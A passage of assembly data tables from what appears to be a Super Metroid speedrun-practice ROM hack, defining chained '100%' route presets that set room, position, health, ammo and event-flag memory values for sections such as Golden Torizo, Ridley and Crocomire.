dl $7E078D : db $02 : dw $A7D4 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $D5A7 ; MDB
dl $7E090F : db $02 : dw $9000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0500 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $FC00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $021F ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $02FC ; Health
dl $7E09C6 : db $02 : dw $0049 ; Missiles
dl $7E09C8 : db $02 : dw $008C ; Max missiles
dl $7E09CA : db $02 : dw $0013 ; Supers
dl $7E09CC : db $02 : dw $0028 ; Max supers
dl $7E0A1C : db $02 : dw $0002 ; Samus position/state
dl $7E0AF6 : db $02 : dw $05B9 ; Samus X
dl $7E0AFA : db $02 : dw $02CB ; Samus Y
dl $7ED882 : db $02 : dw $05FC ; Events, Items, Doors
dl $7ED91A : db $02 : dw $007C ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_maridia_cleanup_2_thread_the_needle_room:
dw #preset_hundo_maridia_cleanup_2_left_sandpit ; Maridia Cleanup 2: Left Sandpit
dl $7E078D : db $02 : dw $A528 ; DDB
dl $7E079B : db $02 : dw $D21C ; MDB
dl $7E07C3 : db $02 : dw $B130 ; GFX Pointers
dl $7E07C5 : db $02 : dw $3CBE ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B8 ; GFX Pointers
dl $7E090F : db $02 : dw $B000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $AC00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $00F2 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $02A0 ; Health
dl $7E09C6 : db $02 : dw $004E ; Missiles
dl $7E09C8 : db $02 : dw $0091 ; Max missiles
dl $7E09CE : db $02 : dw $0015 ; Pbs
dl $7E09D4 : db $02 : dw $012C ; Max reserves
dl $7E0AF6 : db $02 : dw $002F ; Samus X
dl $7E0AFA : db $02 : dw $018B ; Samus Y
dl $7ED882 : db $02 : dw $05FF ; Events, Items, Doors
dl $7ED91A : db $02 : dw $007E ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_golden_torizo_kraid_entrance_revisit:
dw #preset_hundo_maridia_cleanup_2_thread_the_needle_room ; Maridia Cleanup 2: Thread the Needle Room
dl $7E078D : db $02 : dw $A510 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $CF80 ; MDB
dl $7E07F3 : db $02 : dw $0012 ; Music Bank
dl $7E090F : db $02 : dw $F000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $CC00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $00D5 ; Screen Y position in pixels
dl $7E09CA : db $02 : dw $0012 ; Supers
dl $7E0A1C : db $02 : dw $00A4 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $005B ; Samus X
dw #$FFFF
.after
preset_hundo_golden_torizo_kraid_missiles:
dw #preset_hundo_golden_torizo_kraid_entrance_revisit ; Golden Torizo: Kraid Entrance Revisit
dl $7E078D : db $02 : dw $923A ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $A471 ; MDB
dl $7E079F : db $02 : dw $0001 ; Region
dl $7E07C3 : db $02 : dw $A5AA ; GFX Pointers
dl $7E07C5 : db $02 : dw $5FBC ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B3 ; GFX Pointers
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $4FFF ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels
dl $7E09CA : db $02 : dw $0011 ; Supers
dl $7E0A1C : db $02 : dw $003D ; Samus position/state
dl $7E0A1E : db $02 : dw $0F08 ; More position/state
dl $7E0AF6 : db $02 : dw $016E ; Samus X
dl $7E0AFA : db $02 : dw $0190 ; Samus Y
dw #$FFFF
.after
preset_hundo_golden_torizo_kraid_missiles_escape:
dw #preset_hundo_golden_torizo_kraid_missiles ; Golden Torizo: Kraid Missiles
dl $7E078D : db $02 : dw $9156 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $A4DA ; MDB
dl $7E0911 : db $02 : dw $01AC ; Screen X position in pixels
dl $7E0913 : db $02 : dw $1000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C6 : db $02 : dw $0050 ; Missiles
dl $7E09C8 : db $02 : dw $0096 ; Max missiles
dl $7E09CE : db $02 : dw $0014 ; Pbs
dl $7E0A1C : db $02 : dw $002A ; Samus position/state
dl $7E0A1E : db $02 : dw $0604 ; More position/state
dl $7E0AF6 : db $02 : dw $024C ; Samus X
dl $7E0AFA : db $02 : dw $00AD ; Samus Y
dl $7ED874 : db $02 : dw $1F8E ; Events, Items, Doors
dl $7ED91A : db $02 : dw $007F ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_golden_torizo_ice_missiles:
dw #preset_hundo_golden_torizo_kraid_missiles_escape ; Golden Torizo: Kraid Missiles Escape
dl $7E078D : db $02 : dw $9246 ; DDB
dl $7E078F : db $02 : dw $0005 ; DoorOut Index
dl $7E079B : db $02 : dw $A7DE ; MDB
dl $7E079F : db $02 : dw $0002 ; Region
dl $7E07C3 : db $02 : dw $C3F9 ; GFX Pointers
dl $7E07C5 : db $02 : dw $BBBD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B6 ; GFX Pointers
dl $7E07F3 : db $02 : dw $0015 ; Music Bank
dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0323 ; Screen Y position in pixels
dl $7E09C6 : db $02 : dw $0054 ; Missiles
dl $7E09CA : db $02 : dw $0010 ; Supers
dl $7E09CE : db $02 : dw $0013 ; Pbs
dl $7E0A1C : db $02 : dw $00A5 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $002E ; Samus X
dl $7E0AFA : db $02 : dw $0393 ; Samus Y
dw #$FFFF
.after
preset_hundo_golden_torizo_croc_speedway:
dw #preset_hundo_golden_torizo_ice_missiles ; Golden Torizo: Ice Missiles
dl $7E078D : db $02 : dw $9336 ; DDB
dl $7E078F : db $02 : dw $0003 ; DoorOut Index
dl $7E079B : db $02 : dw $A8F8 ; MDB
dl $7E07C5 : db $02 : dw $E4BD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B5 ; GFX Pointers
dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $2800 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0300 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $029B ; Health
dl $7E09C6 : db $02 : dw $0059 ; Missiles
dl $7E09C8 : db $02 : dw $009B ; Max missiles
dl $7E09CE : db $02 : dw $0012 ; Pbs
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $00E2 ; Samus X
dl $7E0AFA : db $02 : dw $038B ; Samus Y
dl $7ED876 : db $02 : dw $01AF ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0080 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_golden_torizo_kronic_boost:
dw #preset_hundo_golden_torizo_croc_speedway ; Golden Torizo: Croc Speedway
dl $7E078D : db $02 : dw $9792 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $AFFB ; MDB
dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0300 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $4400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E0A1C : db $02 : dw $000F ; Samus position/state
dl $7E0AF6 : db $02 : dw $03C6 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dw #$FFFF
.after
preset_hundo_golden_torizo_blue_fireball:
dw #preset_hundo_golden_torizo_kronic_boost ; Golden Torizo: Kronic Boost
dl $7E078D : db $02 : dw $96F6 ; DDB
dl $7E079B : db $02 : dw $B236 ; MDB
dl $7E07F3 : db $02 : dw $0018 ; Music Bank
dl $7E090F : db $02 : dw $A000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0400 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0298 ; Health
dl $7E09CE : db $02 : dw $0011 ; Pbs
dl $7E0A1C : db $02 : dw $009B ; Samus position/state
dl $7E0A1E : db $02 : dw $0000 ; More position/state
dl $7E0AF6 : db $02 : dw $0480 ; Samus X
dl $7E0AFA : db $02 : dw $0285 ; Samus Y
dl $7ED8BA : db $02 : dw $01F1 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_golden_torizo_golden_torizo_2:
dw #preset_hundo_golden_torizo_blue_fireball ; Golden Torizo: Blue Fireball
dl $7E078D : db $02 : dw $983A ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $B283 ; MDB
dl $7E07F3 : db $02 : dw $0024 ; Music Bank
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0273 ; Health
dl $7E09CE : db $02 : dw $000F ; Pbs
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $0027 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED820 : db $02 : dw $3801 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0082 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_ridley_fast_ripper_room:
dw #preset_hundo_golden_torizo_golden_torizo_2 ; Golden Torizo: Golden Torizo
dl $7E078D : db $02 : dw $9882 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $B6C1 ; MDB
dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $A000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $001B ; Screen Y position in pixels
dl $7E09A2 : db $02 : dw $332E ; Equipped Items
dl $7E09A4 : db $02 : dw $332F ; Collected Items
dl $7E09C2 : db $02 : dw $024B ; Health
dl $7E09C6 : db $02 : dw $005E ; Missiles
dl $7E09C8 : db $02 : dw $00A0 ; Max missiles
dl $7E09CA : db $02 : dw $0015 ; Supers
dl $7E09CC : db $02 : dw $002D ; Max supers
dl $7E09CE : db $02 : dw $000E ; Pbs
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $006E ; Samus X
dl $7ED82A : db $02 : dw $0104 ; Events, Items, Doors
dl $7ED878 : db $02 : dw $80DE ; Events, Items, Doors
dl $7ED8BA : db $02 : dw $03F1 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0083 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_ridley_writg:
dw #preset_hundo_ridley_fast_ripper_room ; Ridley: Fast Ripper Room
dl $7E078D : db $02 : dw $9912 ; DDB
dl $7E078F : db $02 : dw $0004 ; DoorOut Index
dl $7E079B : db $02 : dw $B457 ; MDB
dl $7E07F3 : db $02 : dw $0018 ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $66FF ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0300 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $7C00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $01FC ; Health
dl $7E09CA : db $02 : dw $0014 ; Supers
dl $7E0A1C : db $02 : dw $00A4 ; Samus position/state
dl $7E0AF6 : db $02 : dw $03DB ; Samus X
dw #$FFFF
.after
preset_hundo_ridley_mickey_mouse_missiles:
dw #preset_hundo_ridley_writg ; Ridley: WRITG
dl $7E078D : db $02 : dw $994E ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $B4AD ; MDB
dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $010D ; Screen Y position in pixels
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0AF6 : db $02 : dw $0071 ; Samus X
dl $7E0AFA : db $02 : dw $017B ; Samus Y
dw #$FFFF
.after
preset_hundo_ridley_amphitheatre:
dw #preset_hundo_ridley_mickey_mouse_missiles ; Ridley: Mickey Mouse Missiles
dl $7E078D : db $02 : dw $9936 ; DDB
dl $7E090F : db $02 : dw $B001 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $B400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0109 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $01CA ; Health
dl $7E09C6 : db $02 : dw $0063 ; Missiles
dl $7E09C8 : db $02 : dw $00A5 ; Max missiles
dl $7E09CA : db $02 : dw $0015 ; Supers
dl $7E0A1C : db $02 : dw $00A4 ; Samus position/state
dl $7E0AF6 : db $02 : dw $00BD ; Samus X
dl $7E0AFA : db $02 : dw $018B ; Samus Y
dl $7ED878 : db $02 : dw $82DE ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0084 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_ridley_kihunter_shaft_down:
dw #preset_hundo_ridley_amphitheatre ; Ridley: Amphitheatre
dl $7E078D : db $02 : dw $997E ; DDB
dl $7E079B : db $02 : dw $B4E5 ; MDB
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $027E ; Screen X position in pixels
dl $7E0913 : db $02 : dw $7400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0032 ; Screen Y position in pixels
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $02DE ; Samus X
dl $7E0AFA : db $02 : dw $00B4 ; Samus Y
dw #$FFFF
.after
preset_hundo_ridley_wasteland_down:
dw #preset_hundo_ridley_kihunter_shaft_down ; Ridley: Kihunter Shaft Down
dl $7E078D : db $02 : dw $99A2 ; DDB
dl $7E079B : db $02 : dw $B585 ; MDB
dl $7E090F : db $02 : dw $FC00 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $01F2 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $E400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $041F ; Screen Y position in pixels
dl $7E09CE : db $02 : dw $000C ; Pbs
dl $7E0A1C : db $02 : dw $007D ; Samus position/state
dl $7E0A1E : db $02 : dw $1308 ; More position/state
dl $7E0AF6 : db $02 : dw $026E ; Samus X
dl $7E0AFA : db $02 : dw $04AC ; Samus Y
dl $7ED8BA : db $02 : dw $43F1 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_ridley_ninja_pirates:
dw #preset_hundo_ridley_wasteland_down ; Ridley: Wasteland Down
dl $7E078D : db $02 : dw $99EA ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $B5D5 ; MDB
dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $021D ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0191 ; Health
dl $7E09CA : db $02 : dw $0014 ; Supers
dl $7E09CE : db $02 : dw $0011 ; Pbs
dl $7E09D0 : db $02 : dw $0023 ; Max pbs
dl $7E0A1C : db $02 : dw $0002 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $0164 ; Samus X
dl $7E0AFA : db $02 : dw $028B ; Samus Y
dl $7ED878 : db $02 : dw $92DE ; Events, Items, Doors
dl $7ED8BA : db $02 : dw $C3F1 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0085 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_ridley_plowerhouse_room:
dw #preset_hundo_ridley_ninja_pirates ; Ridley: Ninja Pirates
dl $7E078D : db $02 : dw $9A1A ; DDB
dl $7E079B : db $02 : dw $B62B ; MDB
dl $7E090F : db $02 : dw $D000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $017B ; Screen X position in pixels
dl $7E0913 : db $02 : dw $D400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0213 ; Health
dl $7E09CA : db $02 : dw $0018 ; Supers
dl $7E0AF6 : db $02 : dw $01DC ; Samus X
dl $7E0AFA : db $02 : dw $00BB ; Samus Y
dl $7ED8BC : db $02 : dw $0001 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_ridley_ridley_2:
dw #preset_hundo_ridley_plowerhouse_room ; Ridley: Plowerhouse Room
dl $7E078D : db $02 : dw $995A ; DDB
dl $7E079B : db $02 : dw $B37A ; MDB
dl $7E090F : db $02 : dw $E000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $D800 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $0210 ; Health
dl $7E09CA : db $02 : dw $0017 ; Supers
dl $7E0A1C : db $02 : dw $0082 ; Samus position/state
dl $7E0A1E : db $02 : dw $0304 ; More position/state
dl $7E0AF6 : db $02 : dw $002C ; Samus X
dl $7E0AFA : db $02 : dw $0095 ; Samus Y
dl $7ED8BA : db $02 : dw $D3F1 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_ridley_ridley_escape:
dw #preset_hundo_ridley_ridley_2 ; Ridley: Ridley
dl $7E078D : db $02 : dw $98B2 ; DDB
dl $7E079B : db $02 : dw $B698 ; MDB
dl $7E07F3 : db $02 : dw $0024 ; Music Bank
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $FC00 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $04AF ; Health
dl $7E09C4 : db $02 : dw $04AF ; Max helath
dl $7E09C6 : db $02 : dw $0067 ; Missiles
dl $7E09CA : db $02 : dw $000F ; Supers
dl $7E09CE : db $02 : dw $0012 ; Pbs
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $00C8 ; Samus X
dl $7E0AFA : db $02 : dw $00AB ; Samus Y
dl $7ED82A : db $02 : dw $0105 ; Events, Items, Doors
dl $7ED878 : db $02 : dw $D2DE ; Events, Items, Doors
dl $7ED8BA : db $02 : dw $DBF1 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0086 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_ridley_wasteland_up:
dw #preset_hundo_ridley_ridley_escape ; Ridley: Ridley Escape
dl $7E078D : db $02 : dw $9966 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $B62B ; MDB
dl $7E07F3 : db $02 : dw $0018 ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $5C00 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $048E ; Health
dl $7E0A1C : db $02 : dw $007D ; Samus position/state
dl $7E0A1E : db $02 : dw $1308 ; More position/state
dl $7E0AF6 : db $02 : dw $02D4 ; Samus X
dl $7E0AFA : db $02 : dw $0085 ; Samus Y
dl $7E0B3F : db $02 : dw $0003 ; Blue suit
dl $7ED8BA : db $02 : dw $DFF1 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_ridley_kihunter_shaft_up:
dw #preset_hundo_ridley_wasteland_up ; Ridley: Wasteland Up
dl $7E078D : db $02 : dw $9A3E ; DDB
dl $7E079B : db $02 : dw $B5D5 ; MDB
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0500 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $EC01 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $03F3 ; Health
dl $7E09CE : db $02 : dw $0011 ; Pbs
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $057F ; Samus X
dl $7E0AFA : db $02 : dw $005B ; Samus Y
dl $7E0B3F : db $02 : dw $0000 ; Blue suit
dl $7ED91A : db $02 : dw $0087 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_ridley_firefleas_room:
dw #preset_hundo_ridley_kihunter_shaft_up ; Ridley: Kihunter Shaft Up
dl $7E078D : db $02 : dw $9A26 ; DDB
dl $7E079B : db $02 : dw $B585 ; MDB
dl $7E090F : db $02 : dw $FE7F ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $D000 ; Screen subpixel Y position
dl $7E09CE : db $02 : dw $0010 ; Pbs
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $00A2 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dw #$FFFF
.after
preset_hundo_ridley_hotarubi_special:
dw #preset_hundo_ridley_firefleas_room ; Ridley: Firefleas Room
dl $7E078D : db $02 : dw $9A02 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $B6EE ; MDB
dl $7E07C5 : db $02 : dw $BBBD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B6 ; GFX Pointers
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $001D ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0512 ; Health
dl $7E09C4 : db $02 : dw $0513 ; Max helath
dl $7E09CA : db $02 : dw $000E ; Supers
dl $7E0A1C : db $02 : dw $0002 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $016B ; Samus X
dl $7ED87A : db $02 : dw $0001 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0088 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_ridley_3_muskateers:
dw #preset_hundo_ridley_hotarubi_special ; Ridley: Hotarubi Special
dl $7E078D : db $02 : dw $9A92 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $B510 ; MDB
dl $7E07C5 : db $02 : dw $E4BD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B5 ; GFX Pointers
dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0915 : db $02 : dw $001C ; Screen Y position in pixels
dl $7E09C6 : db $02 : dw $006C ; Missiles
dl $7E09C8 : db $02 : dw $00AA ; Max missiles
dl $7E09CE : db $02 : dw $0015 ; Pbs
dl $7E09D0 : db $02 : dw $0028 ; Max pbs
dl $7E0AF6 : db $02 : dw $0071 ; Samus X
dl $7ED878 : db $02 : dw $DEDE ; Events, Items, Doors
dl $7ED91A : db $02 : dw $008C ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_crocomire_bubble_mountain_revisit:
dw #preset_hundo_ridley_3_muskateers ; Ridley: 3 Muskateers
dl $7E078D : db $02 : dw $9A4A ; DDB
dl $7E079B : db $02 : dw $AD5E ; MDB
dl $7E07F3 : db $02 : dw $0015 ; Music Bank
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $2C00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $000B ; Screen Y position in pixels
dl $7E09C6 : db $02 : dw $006F ; Missiles
dl $7E09C8 : db $02 : dw $00AF ; Max missiles
dl $7E0A1C : db $02 : dw $0012 ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $0078 ; Samus X
dl $7ED878 : db $02 : dw $FEDE ; Events, Items, Doors
dl $7ED91A : db $02 : dw $008D ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_crocomire_norfair_reserve:
dw #preset_hundo_crocomire_bubble_mountain_revisit ; Crocomire: Bubble Mountain Revisit
dl $7E078D : db $02 : dw $95CA ; DDB
dl $7E079B : db $02 : dw $ACB3 ; MDB
dl $7E090F : db $02 : dw $E000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $2000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C6 : db $02 : dw $0071 ; Missiles
dl $7E0A1C : db $02 : dw $0002 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $0044 ; Samus X
dl $7ED8BA : db $02 : dw $DFF9 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $008E ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_crocomire_bubble_mountain_cleanup:
dw #preset_hundo_crocomire_norfair_reserve ; Crocomire: Norfair Reserve
dl $7E078D : db $02 : dw $952E ; DDB
dl $7E079B : db $02 : dw $AC83 ; MDB
dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $D400 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $0504 ; Health
dl $7E09C6 : db $02 : dw $007A ; Missiles
dl $7E09C8 : db $02 : dw $00B9 ; Max missiles
dl $7E09D4 : db $02 : dw $0190 ; Max reserves
dl $7E09D6 : db $02 : dw $006B ; Reserves
dl $7E0A1C : db $02 : dw $0027 ; Samus position/state
dl $7E0A1E : db $02 : dw $0508 ; More position/state
dl $7E0AF6 : db $02 : dw $01C9 ; Samus X
dl $7E0AFA : db $02 : dw $0090 ; Samus Y
dl $7ED876 : db $02 : dw $E1AF ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0092 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_crocomire_red_pirate_shaft:
dw #preset_hundo_crocomire_bubble_mountain_cleanup ; Crocomire: Bubble Mountain Cleanup
dl $7E078D : db $02 : dw $956A ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $AF72 ; MDB
dl $7E090F : db $02 : dw $7000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $A000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $00ED ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $04F3 ; Health
dl $7E09C6 : db $02 : dw $007F ; Missiles
dl $7E09C8 : db $02 : dw $00BE ; Max missiles
dl $7E09CE : db $02 : dw $0014 ; Pbs
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $0094 ; Samus X
dl $7E0AFA : db $02 : dw $018B ; Samus Y
dl $7ED878 : db $02 : dw $FEDF ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0093 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_crocomire_crocomire_2:
dw #preset_hundo_crocomire_red_pirate_shaft ; Crocomire: Red Pirate Shaft
dl $7E078D : db $02 : dw $974A ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $A923 ; MDB
dl $7E090F : db $02 : dw $A000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0C00 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $CC00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $021F ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $04F2 ; Health
dl $7E09CA : db $02 : dw $000D ; Supers
dl $7E0A1C : db $02 : dw $002D ; Samus position/state
dl $7E0A1E : db $02 : dw $0608 ; More position/state
dl $7E0AF6 : db $02 : dw $0C95 ; Samus X
dl $7E0AFA : db $02 : dw $02DB ; Samus Y
dl $7ED8B8 : db $02 : dw $6EEF ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_crocomire_grapple_shaft_down:
